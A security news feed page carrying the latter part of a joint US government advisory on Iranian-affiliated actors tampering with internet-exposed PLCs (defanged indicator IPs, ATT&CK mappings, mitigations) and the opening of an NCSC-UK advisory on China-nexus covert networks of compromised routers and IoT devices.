<td>79.133.46[.]209</td>
<td>July 2026</td>
<td>July 2026</td>
</tr>
<tr>
<td>88.80.150[.]199</td>
<td>July 2026</td>
<td>July 2026</td>
</tr>
<tr>
<td>88.80.150[.]200</td>
<td>July 2026</td>
<td>July 2026</td>
</tr>
<tr>
<td>88.80.150[.]202</td>
<td>July 2026</td>
<td>July 2026</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><a class="ck-anchor"></a>Table 2. Indicators of Compromise </caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Indicator</th>
<th role="columnheader">Beginning of Actor Association</th>
<th role="columnheader">End of Actor Association</th>
</tr>
</thead>
<tbody>
<tr>
<td>185.82.73[.]162</td>
<td>January 2025</td>
<td>March 2026</td>
</tr>
<tr>
<td>185.82.73[.]164</td>
<td>January 2025</td>
<td>March 2026</td>
</tr>
<tr>
<td>185.82.73[.]165</td>
<td>January 2025</td>
<td>March 2026</td>
</tr>
<tr>
<td>185.82.73[.]167</td>
<td>January 2025</td>
<td>March 2026</td>
</tr>
<tr>
<td>185.82.73[.]168</td>
<td>January 2025</td>
<td>March 2026</td>
</tr>
<tr>
<td>185.82.73[.]170</td>
<td>January 2025</td>
<td>March 2026</td>
</tr>
<tr>
<td>185.82.73[.]171</td>
<td>January 2025</td>
<td>March 2026</td>
</tr>
<tr>
<td>135.136.1[.]133</td>
<td>March 2026</td>
<td>March 2026</td>
</tr>
</tbody>
</table>
<h2><a class="ck-anchor"></a><a class="ck-anchor"><strong>MITRE ATT&amp;CK Tactics and Techniques</strong></a></h2>
<p>See <a href="https://www.cisa.gov/#Table3"><strong>Table 3</strong></a> to <a href="https://www.cisa.gov/#Table6"><strong>Table 6</strong></a><strong> </strong>for all referenced threat actor tactics and techniques in this advisory. The authoring agencies recommend organizations review historical TTPs for similar Iranian-affiliated cyber actor activity in <a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-335a" title="IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities">IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities</a>. For assistance with mapping malicious cyber activity to the MITRE ATT&amp;CK framework, see CISA and MITRE ATT&amp;CK’s <a href="https://www.cisa.gov/news-events/news/best-practices-mitre-attckr-mapping" title="Best Practices for MITRE ATT&amp;CK Mapping">Best Practices for MITRE ATT&amp;CK Mapping</a> and CISA’s <a href="https://github.com/cisagov/Decider/" title="Decider Tool">Decider Tool</a>.</p>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><a class="ck-anchor"></a>Table 3. Initial Access</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Technique Title</th>
<th role="columnheader">ID</th>
<th role="columnheader">Use</th>
</tr>
</thead>
<tbody>
<tr>
<td>Internet Accessible Device</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T0883/" target="_blank" title="T0833">T0883</a></td>
<td>The actors accessed and interacted with publicly exposed, internet-accessible PLCs that lacked sufficient network and/or hardening security controls.</td>
</tr>
</tbody>
</table>
<p> </p>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 4. Command and Control</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Technique Title</th>
<th role="columnheader">ID</th>
<th role="columnheader">Use</th>
</tr>
</thead>
<tbody>
<tr>
<td>Commonly Used Port</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T0885/" target="_blank" title="T0885">T0885</a></td>
<td>The actors leveraged commonly used OT ports to communicate with PLCs.</td>
</tr>
<tr>
<td>Remote Access Tools </td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1219/" target="_blank" title="T1219">T1219</a></td>
<td>The actors deployed Dropbear SSH software on victim modems to enable them to gain remote access through port <code>22</code>.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 5. Exfiltration <em><strong>(New, July 22, 2026)</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Technique Title</th>
<th role="columnheader">ID</th>
<th role="columnheader">Use</th>
</tr>
</thead>
<tbody>
<tr>
<td>Exfiltration Over C2 Channel</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1041/" target="_blank" title="T1041">T1041</a></td>
<td>The actors used remote, third-party hosted infrastructure as a C2 channel to transfer device project files out of victim environments.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><a class="ck-anchor"></a>Table 6. Impact</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Technique Title</th>
<th role="columnheader">ID</th>
<th role="columnheader">Use</th>
</tr>
</thead>
<tbody>
<tr>
<td>Data Manipulation</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1565/" target="_blank" title="T1565">T1565</a></td>
<td>The actors maliciously interacted with project files, including modifying and deleting project file logic, and altered data displayed on HMI and SCADA displays.</td>
</tr>
</tbody>
</table>
<h2><a class="ck-anchor"><strong>Mitigations</strong></a></h2>
<p>The authoring agencies recommend organizations implement the mitigations below to improve your organization’s cybersecurity posture on the basis of the threat actors’ activity. These mitigations align with the <a href="https://www.cisa.gov/cpg" title="Cross-Sector Cybersecurity Performance Goals (CPGs)">Cross-Sector Cybersecurity Performance Goals (CPGs)</a> developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats and TTPs. Visit CISA’s <a href="https://www.cisa.gov/cpg" title="CPGs webpage">CPGs webpage</a> for more information on the CPGs, including additional recommended baseline protections.</p>
<h3><strong>Network Defenders</strong></h3>
<p>The cyber threat actors accessed PLCs manufactured by Rockwell Automation/Allen-Bradley, Schneider Electric, Siemens, and potentially other branded/manufactured PLCs to cause disruptions to victim systems. To safeguard against this threat and threats to other types of PLCs, the authoring agencies urge organizations to consider the following mitigations.</p>
<p><em><strong>(Updated, July 22, 2026)</strong></em> In addition to contacting the authoring agencies, organizations and integrators operating PLCs from the manufacturers mentioned in this advisory should review the previously issued guidance to strengthen the security of their OT deployments:</p>
<ul type="square">
<li><strong>Rockwell Automation:</strong> Contact the Rockwell Automation Product Security Incident Response Team (PSIRT) at <a href="mailto:PSIRT@rockwellautomation.com">PSIRT@rockwellautomation.com</a> for questions regarding this guidance, or to report cyber incidents related to Rockwell Automation products.<br>
<ul type="circle">
<li>Refer to Rockwell Automation Security Advisory <a href="https://www.rockwellautomation.com/en-us/trust-center/security-advisories/advisory.SD1771.html" target="_blank" title="SD1771">SD1771</a> for recommended PLC hardening measures and configuration guidance.</li>
</ul>
</li>
<li><strong>Schneider Electric:</strong> Contact the Schneider Electric Corporate Product Cyber Emergency Response Team (CPCERT) at <a href="mailto:cpcert@se.com">cpcert@se.com</a> for questions regarding this guidance, or to report cyber incidents related to Schneider Electric products.<br>
<ul type="circle">
<li>Refer to Schneider Electric’s <a href="https://download.se.com/files?p_File_Name=Cybersecurity_Best+Practices_EN.pdf&amp;p_Doc_Ref=7EN52-0390&amp;p_enDocType=White+Paper" target="_blank" title="Recommended Cybersecurity Best Practices">Recommended Cybersecurity Best Practices</a> and <a href="https://download.se.com/files?p_Doc_Ref=EIO0000001999&amp;p_enDocType=User+guide&amp;p_File_Name=EIO0000001999-13_Modicon_Controller_Platform_Cybersecurity_Guide_EN.pdf" target="_blank" title="Cybersecurity User Guide for Modicon Controller Platform">Cybersecurity User Guide for Modicon Controller Platform</a> for guidance on securing and configuring PLCs.</li>
</ul>
</li>
<li><strong>Siemens:</strong> Contact Siemens ProductCERT at <a href="mailto:productcert@siemens.com">productcert@siemens.com</a> for questions regarding this guidance, or to report cyber incidents and vulnerabilities related to Siemens products.<br>
<ul type="circle">
<li>Refer to <a href="https://cert-portal.siemens.com/productcert/html/ssb-104599.html" target="_blank" title="Siemens Security Bulletin 104599">Siemens Security Bulletin 104599</a> for a list of security measures to harden PLCs and in-depth configuration guides.</li>
<li>Siemens users should review the <a href="https://cert-portal.siemens.com/operational-guidelines-industrial-security.pdf" target="_blank" title="Cybersecurity for Industry Operational Guidelines">Cybersecurity for Industry Operational Guidelines</a> and implement defense-in-depth controls within their automation systems.</li>
</ul>
</li>
</ul>
<p><strong>Immediate steps to prevent the attack:</strong></p>
<ul type="square">
<li><strong>Disconnect the PLC from the public-facing internet</strong> [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#SecureInternetFacingDevices3S" title="CPG 3.S">CPG 3.S</a>]. Follow the joint guidance <a href="https://www.ncsc.gov.uk/collection/operational-technology/secure-connectivity" target="_blank" title="Secure Connectivity Principles for OT">Secure connectivity principles for OT</a> to safely allow remote access. Specifically, “remove inbound port exposure,” so the OT system is never directly exposed to the internet or external networks, and to ensure all access is mediated, monitored, and controlled. Do this through a secure gateway (jump host) that brokers the connection.<br>
<ul type="circle">
<li>Ensure cellular modems, used for remote field connectivity and access, are secured with strong authentication and updated.</li>
<li>Enable logs for connected modems and regularly review for suspicious activity to detect intrusions and improve incident response speed.</li>
<li><em><strong>(New, July 22, 2026) </strong></em>To mitigate unauthorized access to OT via cellular modems, organizations should consider implementing isolated architectures, such as private Access Point Name (APN), 5G Public Network Integrated Non-Public Network (PNI-NPN), cellular Software-Defined Wide Area Network (SD-WAN), Zero Trust Network Access (ZTNA), or a site-to-site virtual private network (VPN).</li>
</ul>
</li>
<li><em><strong>(New, July 22, 2026) </strong></em><strong>Strictly control network access to PLC devices.</strong><br>
<ul type="circle">
<li>Configure firewall rules or access control list (ACL) security features on PLCs or programmable controllers to allow only authorized communications between expected control system devices. Block access from unauthorized or threat actor-controlled IP addresses, such as those associated with hosting providers.</li>
</ul>
</li>
<li><strong>For controllers with a physical mode switch, place the physical mode switch into run position to prevent remote modification. </strong>Devices should only be in the program or remote position when updating or downloading software online and immediately switched back to the run position when complete. (See Rockwell Automation’s<a href="https://www.cisa.gov/#Note2"><sup>2</sup></a><sup> </sup><a href="https://literature.rockwellautomation.com/idc/groups/literature/documents/rm/secure-rm001_-en-p.pdf" target="_blank" title="System Security Design Guidelines">System Security Design Guidelines</a> for manufacturer’s instructions.)<br>
<ul type="circle">
<li><em><strong>(New, July 22, 2026)</strong> </em>Prior to switching the device to run mode, review and validate project files, as changing modes will lock in the current project file downloaded to the device.</li>
</ul>
</li>
<li><strong>For devices that allow software key switching, </strong>enable programming protection in PLC configuration software (S7 TIA Portal) to limit who can modify PLCs remotely. (See Siemens’ <a href="https://assets.new.siemens.com/siemens/assets/api/uuid:c9a2de6e-6bd0-4c32-bba0-f64cac44fcc9/industrial-security-operational-guidelines-en.pdf" target="_blank" title="Cybersecurity for Industry Operational Guidelines">Cybersecurity for Industry Operational Guidelines</a> for the manufacturer’s instructions.)</li>
</ul>
<p><strong>Follow-up steps to strengthen security posture:</strong></p>
<ul type="square">
<li><em><strong>(New, July 22, 2026)</strong> </em><strong>Review project files running on PLCs for unauthorized changes.</strong> Use vendor-provided integrity checking tools and visually compare the running program to known good logic. Ensure reusable logic and input/output configurations are valid. For Rockwell Automation PLCs listed in the <a href="https://www.rockwellautomation.com/en-us/trust-center/security-advisories/advisory.SD1771.html" target="_blank" title="Customer Guidance to Disconnect Devices from the Internet">Customer Guidance to Disconnect Devices from the Internet</a>, check the AOIs for any anomalous modifications.<br>
<ul type="circle">
<li>If restoring from backups, verify the backup does not contain malicious logic before deployment.</li>
<li>Review logs and configurations on all connected devices, including modems, HMIs, and workstations, to assess potential lateral movement by threat actors. If it appears the actors connected to additional devices, reimage these devices to remove any potential malicious changes or access tools.</li>
</ul>
</li>
<li><em><strong>(New, July 22, 2026)</strong> </em><strong>Ensure device passwords are changed from their default </strong>and are configured to use complex, unique combinations of letters, numbers, and symbols that are not easily guessable. Implementing robust password practices remains a critical security measure that can help prevent unauthorized access and strengthen the overall security posture of OT devices.</li>
<li><em><strong>(New, July 22, 2026)</strong> </em><strong>Take defensive measures to minimize the risk of exploitation. </strong>Conduct comprehensive impact analysis and risk assessments prior to deploying defensive measures.</li>
<li><strong>Create and test strong backups of the logic and configurations of PLCs</strong>. Store backup files offline and secure the physical removal media to enable fast recovery.</li>
<li><strong>Implement multifactor authentication</strong> <strong>(MFA)</strong> [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ImplementMultifactorAuthentication3F" title="CPG 3.F">CPG 3.F</a>] for access to the OT network from an external network.</li>
<li>If remote access is required, <strong>implement a network proxy, gateway, firewall, and/or VPN in front of the PLC to control network access</strong>.<br>
<ul type="circle">
<li>A VPN or gateway device can enable MFA for remote access even if the PLC does not support MFA. Implement security rules on these higher-level network security mechanisms to prevent the type of repeated and sustained login attempts seen during a brute force attack. When possible, implement a device control list for workstations sending messages or connecting to OT components.</li>
<li>Use the device control list to monitor for logon activity for unexpected or unusual access to devices from the internet.</li>
</ul>
</li>
<li><strong>Keep PLC devices updated with the latest software patches issued by the manufacturer.</strong> Use established downtime windows to install patches. <a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog" title="Known Exploited Vulnerabilities">Known Exploited Vulnerabilities</a> may need to be prioritized outside a downtime window.</li>
<li><strong>Configure external and internal firewalls to block traffic using common ports </strong>associated with network protocols that are unnecessary for the particular network segment.</li>
<li><strong>Disable any unused authentication methods, logic, or features, </strong>such as default authentication keys and passwords, as well as unused or needed services such as Teletype Network (Telnet), File Transfer Protocol (FTP), Remote Desktop Protocol (RDP), Virtual Network Computing (VNC), and web services.</li>
<li><strong>Monitor asset management systems for device configuration changes</strong>, which can be used to understand expected parameter settings.</li>
<li><strong>Monitor the content of network traffic</strong> for the following:<br>
<ul type="circle">
<li>Unusual logins to internet-connected devices or unexpected protocols to/from the internet. </li>
<li>Functions of industrial control systems management protocols that change an asset’s operating mode or modify programs.</li>
</ul>
</li>
<li><em><strong>(New, July 22, 2026)</strong> </em><strong>Ensure service providers are informed of active threats targeting internet-connected PLC devices. </strong>Owners and operators should communicate directly with service providers to address risks, especially when remote monitoring or maintenance is involved. Some service providers may rely on internet connectivity essential to monitor and maintain OT/ICS operations but may not be fully aware of active threats.</li>
</ul>
<p>In addition, the authoring agencies recommend network defenders apply the following mitigations to limit potential adversarial use of common system and network discovery techniques, as well as reduce the impact and risk of compromise by cyber threat actors:</p>
<ul type="square">
<li><strong>Reduce risk exposure</strong>. CISA offers a range of services at no cost, including scanning and testing, to help organizations reduce exposure to threats via mitigating attack vectors. CISA’s <a href="https://www.cisa.gov/cyber-hygiene-services" title="Cyber Hygiene Services">Cyber Hygiene Services</a> can help provide additional review of organizations’ internet-accessible assets. </li>
</ul>
<h3><strong>Device Manufacturers</strong></h3>
<p><strong>Note:</strong> The following guidance is general in nature and not specific to any OT vendor. Some of the features, settings, and practices may already be offered by certain vendors. The inclusion of this guidance should not be interpreted as an assertion that vendors referenced do not offer such security features. Also, this advisory is not highlighting a new vulnerability in the identified products, but instead discusses opportunistic targeting. Device manufacturers can make opportunistic attacks more difficult at scale by encouraging more secure behavior by default and in operations, as discussed below. </p>
<p>Although critical infrastructure organizations using PLC devices can take steps to mitigate the risks, it is ultimately the responsibility of the device manufacturer to build products secured by design and default. The authoring agencies urge device manufacturers to take ownership of their customers’ security outcomes by following the principles in the joint guide <a href="https://www.cisa.gov/resources-tools/resources/secure-demand-priority-considerations-operational-technology-owners-and-operators-when-selecting" title="Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products">Secure by Demand: Priority Considerations for OT Owners and Operators when Selecting Digital Products</a>, primarily:</p>
<ul>
<li>Change the manufacturers’ default settings to prevent exposing administrative interfaces to the internet.</li>
<li>Do not charge additional fees for basic security features needed to operate the product securely.</li>
<li>Support MFA, including via phishing-resistant methods.</li>
</ul>
<p>By using secure by design tactics, software manufacturers can make product lines secure “out of the box” without requiring customers to spend additional resources making configuration changes, purchasing tiered security software and logs, monitoring, and making routine updates.</p>
<p>For more information on common misconfigurations and guidance on reducing their prevalence, see joint advisory <a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-278a" title="NSA and CISA Red and Blue Teams Share Top Ten Cybersecurity Misconfigurations">NSA and CISA Red and Blue Teams Share Top Ten Cybersecurity Misconfigurations</a>. For more information on secure by design, see CISA’s <a href="https://www.cisa.gov/securebydesign" title="Secure by Design">Secure by Design</a> webpage and joint guide.</p>
<h2><strong>Validate Security Controls</strong></h2>
<p>In addition to applying mitigations, the authoring agencies recommend exercising, testing, and validating your organization's security program against the threat behaviors mapped to the MITRE ATT&amp;CK for Enterprise framework in this advisory. The authoring agencies recommend testing your existing security controls inventory to assess how they perform against the ATT&amp;CK techniques described in this advisory.</p>
<p>To get started:</p>
<ol>
<li>Select an ATT&amp;CK technique described in this advisory (see<strong> </strong><a href="https://www.cisa.gov/#Table3"><strong>Table 3</strong></a> to <a href="https://www.cisa.gov/#Table6"><strong>Table 6</strong></a>).</li>
<li>Align your security technologies against the technique.</li>
<li>Test your technologies against the technique.</li>
<li>Analyze your detection and prevention technologies’ performance.</li>
<li>Repeat the process for all security technologies to obtain a set of comprehensive performance data.</li>
<li>Tune your security program, including people, processes, and technologies, based on the data generated by this process.</li>
</ol>
<p>The authoring agencies recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the ATT&amp;CK techniques identified in this advisory.</p>
<h2><strong>Resources</strong></h2>
<ul type="square">
<li>Authoring Agencies: <a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-335a" title="IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities">IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities</a></li>
<li>CISA: <a href="https://www.cisa.gov/resources-tools/resources/bulletproof-defense-mitigating-risks-bulletproof-hosting-providers" title="Bulletproof Defense: Mitigating Risks From Bulletproof Hosting Providers">Bulletproof Defense: Mitigating Risks From Bulletproof Hosting Providers</a></li>
<li>EPA: <a href="https://www.epa.gov/cyberwater/epa-cybersecurity-water-sector" target="_blank" title="Cybersecurity for the Water Sector">Cybersecurity for the Water Sector</a></li>
<li>CISA: <a href="https://www.cisa.gov/water" title="Water and Wastewater Cybersecurity">Water and Wastewater Cybersecurity</a></li>
<li>CISA: <a href="https://www.cisa.gov/news-events/alerts/2023/11/28/exploitation-unitronics-plcs-used-water-and-wastewater-systems" title="Exploitation of Unitronics PLCs used in Water and Wastewater Systems">Exploitation of Unitronics PLCs used in Water and Wastewater Systems</a></li>
<li>CISA: <a href="https://www.cisa.gov/topics/cyber-threats-and-advisories/advanced-persistent-threats/iran" title="Iran Cyber Threat Overview and Advisories">Iran Threat Overview and Advisories</a></li>
<li>FBI: <a href="https://www.fbi.gov/investigate/counterintelligence/the-iran-threat" target="_blank" title="The Iran Threat">The Iran Threat</a> and <a href="https://www.fbi.gov/investigate/cyber/cyber-threat-overview-iran" target="_blank" title="Cyber Threat Overview: Iran">Cyber Threat Overview: Iran</a></li>
<li>CISA, MITRE: <a href="https://www.cisa.gov/news-events/news/best-practices-mitre-attckr-mapping" title="Best Practices for MITRE ATT&amp;CK Mapping">Best Practices for MITRE ATT&amp;CK Mapping</a></li>
<li>CISA: <a href="https://github.com/cisagov/Decider/" title="Decider Tool">Decider Tool</a></li>
<li>CISA: <a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0" title="Cross-Sector Cybersecurity Performance Goals 2.0">Cross-Sector Cybersecurity Performance Goals 2.0</a></li>
<li>CISA: <a href="https://www.cisa.gov/topics/cyber-threats-and-advisories/cyber-hygiene-services" title="No-Cost Cybersecurity Services and Tools">No-Cost Cybersecurity Services and Tools</a></li>
<li>CISA: <a href="https://www.cisa.gov/resources-tools/resources/secure-demand-priority-considerations-operational-technology-owners-and-operators-when-selecting" title="Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products">Secure by Demand: Priority Considerations for OT Owners and Operators when Selecting Digital Products</a></li>
<li>NSA, CISA: <a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-278a" title="NSA and CISA Red and Blue Teams Share Top Ten Cybersecurity Misconfigurations">NSA and CISA Red and Blue Teams Share Top Ten Cybersecurity Misconfigurations</a></li>
<li>CISA: <a href="https://www.cisa.gov/securebydesign" title="Secure by Design">Secure by Design</a></li>
<li>FBI, CISA: <a href="https://www.ic3.gov/CSA/2025/250506.pdf" target="_blank" title="Primary Mitigations to Reduce Cyber Threats to Operational Technology">Primary Mitigations to Reduce Cyber Threats to Operational Technology</a></li>
<li>United Kingdom National Cyber Security Centre: <a href="https://www.ic3.gov/CSA/2026/260114.pdf" target="_blank" title="Secure Connectivity Principles for Operational Technology (OT)">Secure connectivity principles for operational technology</a></li>
</ul>
<h2><a class="ck-anchor"><strong>Contact Information</strong></a></h2>
<p>U.S. organizations are encouraged to report suspicious or criminal activity related to information in this advisory to CISA, the FBI, and/or NSA:</p>
<ul type="square">
<li>Contact CISA via CISA’s 24/7 Operations Center at <a href="mailto:contact@cisa.dhs.gov">contact@cisa.dhs.gov</a> or 1-844-Say-CISA (1-844-729-2472). File a claim with FBI’s <a href="https://ic3.gov/" target="_blank" title="Internet Crime Complaint Center (IC3)">Internet Crime Complaint Center (IC3)</a> or contact your local <a href="https://www.fbi.gov/contact-us/field-offices" target="_blank" title="FBI field office">FBI field office</a>. When available, please include the following information regarding the incident: 
<ul>
<li>Date, time, and location of the incident;</li>
<li>Type of activity;</li>
<li>Number of people affected;</li>
<li>Type of equipment used for the activity; and</li>
<li>Name of the submitting company or organization, and a designated point of contact.</li>
</ul>
</li>
<li>For NSA cybersecurity guidance inquiries, contact <a href="mailto:CybersecurityReports@nsa.gov" title="CybersecurityReports@nsa.gov">CybersecurityReports@nsa.gov</a>.</li>
<li>Entities required to report incidents to DOE should follow established reporting requirements, as appropriate. For other energy sector inquiries, contact <a href="mailto:EnergySRMA@hq.doe.gov" title="EnergySRMA@hq.doe.gov">EnergySRMA@hq.doe.gov</a>.</li>
<li>Contact the Rockwell Automation PSIRT for questions regarding their guidance or for reporting cyber incidents related to Rockwell Automation products at <a href="mailto:PSIRT@rockwellautomation.com" title="PSIRT@rockwellautomation.com">PSIRT@rockwellautomation.com</a>.</li>
<li>Contact the Schneider Electric CPCERT at <a href="mailto:cpcert@se.com">cpcert@se.com</a> for questions regarding this guidance, or to report cyber incidents related to Schneider Electric products.</li>
<li>Contact Siemens ProductCERT for up-to-date information about the security of Siemens products or to report cybersecurity vulnerabilities at <a href="mailto:productcert@siemens.com">productcert@siemens.com</a>. For support with increasing the security of installed Siemens PLCs, contact Siemens Industrial Cybersecurity Services at <a href="mailto:services.automation@siemens.com">services.automation@siemens.com</a>. See <a href="https://www.siemens.com/en-us/content/cert-services/" target="_blank" title="Siemens ProductCERT and Siemens CERT">Siemens ProductCERT and Siemens CERT</a> for more information.</li>
</ul>
<h2><strong>Disclaimer</strong></h2>
<p>The information in this report is being provided “as is” for informational purposes only. CISA and the authoring agencies do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by CISA and the authoring agencies.</p>
<h2><strong>Version History</strong></h2>
<p><strong>April 7, 2026</strong>: Initial version.</p>
<p><strong>July 22, 2026</strong>: Update includes new guidance on detecting malicious activity, expanded scope of observed targeting, and best practices for secure PLCs deployment.</p>
<h2><strong>Notes</strong></h2>
<p><a class="ck-anchor"></a><sup>1</sup>Project file refers to the software file that contains ladder logic and configuration settings. On Rockwell Automation devices, it is referred to as an .ACD file.</p>
<p><a class="ck-anchor"></a><sup>2 </sup>See <a href="https://literature.rockwellautomation.com/idc/groups/literature/documents/um/1769-um021_-en-p.pdf" target="_blank" title="CompactLogix 5370 Controllers">CompactLogix 5370 Controllers</a> (Chapter 5: “Select the Operating Mode of the Controller”) for more information on functions available for the switch.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Defending Against China-Nexus Covert Networks of Compromised Devices]]></title>
<description><![CDATA[Defending against china-nexus covert networks of compromised devices
executive summary
Defending against China-nexus covert networks of compromised devices 
Explaining the widespread shift in tactics, techniques and procedures (TTPs) towards networks of compromised infrastructure, and how to defe...]]></description>
<link>https://tsecurity.de/de/3693378/sicherheitsluecken/defending-against-china-nexus-covert-networks-of-compromised-devices/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693378/sicherheitsluecken/defending-against-china-nexus-covert-networks-of-compromised-devices/</guid>
<pubDate>Sat, 25 Jul 2026 09:10:14 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="SCXW131754345 BCX8">
<div class="OutlineElement Ltr SCXW131754345 BCX8">
<h2><a class="c-button c-button--on-dark" href="https://urldefense.us/v3/__https://www.ncsc.gov.uk/news/defending-against-china-nexus-covert-networks-of-compromised-devices__;!!BClRuOV5cvtbuNI!Cvg8stIR3jHWVZgHhCVvEwbwDXxXIRSprOQ9JtY2YKwxUIGVovuDAu7QrFsfw3sfAVd8-gxEMIpgldwlY-jTD7G0%24">Defending against china-nexus covert networks of compromised devices</a></h2>
<h2><a class="c-button c-button--on-dark" href="https://urldefense.us/v3/__https://www.ncsc.gov.uk/news/executive-summary-defending-against-china-nexus-covert-networks-of-compromised-devices__;!!BClRuOV5cvtbuNI!Cvg8stIR3jHWVZgHhCVvEwbwDXxXIRSprOQ9JtY2YKwxUIGVovuDAu7QrFsfw3sfAVd8-gxEMIpgldwlYzP90Ign%24">executive summary</a></h2>
<h2><strong>Defending against China-nexus covert networks of compromised devices </strong></h2>
<p>Explaining the widespread shift in tactics, techniques and procedures (TTPs) towards networks of compromised infrastructure, and how to defend against it </p>
<h3><strong>Summary</strong></h3>
<p>With support from the UK <a href="https://www.ncsc.gov.uk/information/cyber-league" target="_blank"><u>Cyber League</u></a>, this advisory has been jointly released by the National Cyber Security Centre (NCSC-UK) and international partners: </p>
<ul>
<li>Australian Signals Directorate’s (ASD’s) Australian Cyber Security Centre (ACSC)</li>
<li>Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)</li>
<li>Germany Federal Office for the Protection of the Constitution -   Bundesamt für Verfassungsschutz (BfV)</li>
<li>Germany Federal Intelligence Service – Bundesnachrichtendienst (BND)</li>
<li>Germany Federal Office for Information Security - Bundesamt für Sicherheit in der Informationstechnik (BSI)</li>
<li>Japan National Cybersecurity Office (NCO) - 国家サイバー統括室</li>
<li>Netherlands General Intelligence and Security Service - Algemene Inlichtingen- en Veiligheidsdienst (AIVD)</li>
<li>Netherlands Defence Intelligence and Security Service - Militaire Inlichtingen- en Veiligheidsdienst (MIVD)</li>
<li>New Zealand National Cyber Security Centre (NCSC-NZ)</li>
<li>Spain National Cryptologic Centre – Centro Criptológico Nacional (CCN)</li>
<li>Sweden National Cyber Security Centre - Nationellt cybersäkerhetscenter (NCSC-SE)</li>
<li>United States Cybersecurity and Infrastructure Security Agency (CISA)</li>
<li>United States Department of Defense Cyber Crime Center (DC3)</li>
<li>United States Federal Bureau of Investigation (FBI)</li>
<li>United States National Security Agency (NSA) </li>
</ul>
<p>Its purpose is to provide network defenders with the tools needed to defend against China-nexus cyber actors and their tactic of using large scale networks of compromised devices (covert networks) to route their cyber activity. </p>
<h3><strong>Introduction  </strong></h3>
<p>Over the past few years there has been a major shift in the tactics, techniques and procedures (TTPs) used by China-nexus cyber actors, moving away from the use of individually procured infrastructure, and towards the use of externally provisioned, large-scale networks of compromised devices. </p>
<div class="OutlineElement Ltr SCXW149482171 BCX8">
<p>The NCSC believes that the majority of China-nexus threat actors are using these networks (hereafter “covert networks”), that multiple covert networks have been created and are being constantly updated, and that a single covert network could be being used by multiple actors. These networks are mainly made up of compromised Small Office Home Office (SOHO) routers, as well as Internet of Things (IoT) and smart devices. </p>
</div>
<div class="OutlineElement Ltr SCXW149482171 BCX8">
<p>Anyone who is a target of China-nexus cyber actors may be impacted by the use of covert networks. They have been <a href="https://www.ncsc.gov.uk/news/ncsc-and-partners-issue-warning-about-state-sponsored-cyber-attackers-hiding-on-critical-infrastructure-networks" target="_blank"><u>used by Chinese state-sponsored actors Volt Typhoon</u></a> to pre-position offensive cyber capabilities on critical national infrastructure. The group <a href="https://www.ncsc.gov.uk/news/ncsc-and-partners-issue-advice-to-counter-china-linked-campaign-targeting-thousands-of-devices" target="_blank"><u>Flax Typhoon used a different covert network</u></a> of compromised infrastructure to conduct cyber espionage. </p>
</div>
<div class="OutlineElement Ltr SCXW149482171 BCX8">
<p>The use of covert networks of compromised devices - also known as botnets - to facilitate malicious cyber activity is not new, but China-nexus cyber actors are now using them strategically, and at scale.  </p>
</div>
<div class="OutlineElement Ltr SCXW149482171 BCX8">
<p>This advisory describes the typical makeup of a covert network and what they are being used for. It also includes protective advice for organizations being targeted by cyber activity using a covert network as an access vector.</p>
<h3><strong>Covert Networks </strong></h3>
<p>Covert networks are used to connect across the internet in a low-cost, low-risk, deniable way, disguising the origin and attribution of malicious activity. Actors have been observed using them for each phase of their Cyber Kill Chains, from performing scans as part of reconnaissance, to the delivery of malware, communicating with said malware, and exfiltrating stolen data from a victim. They can also be used for general deniable internet browsing, allowing threat actors to research exploitation techniques, new TTPs, and their victims without attribution. Some covert networks are also used by legitimate customers to browse the internet, making it challenging to attribute malicious activity. </p>
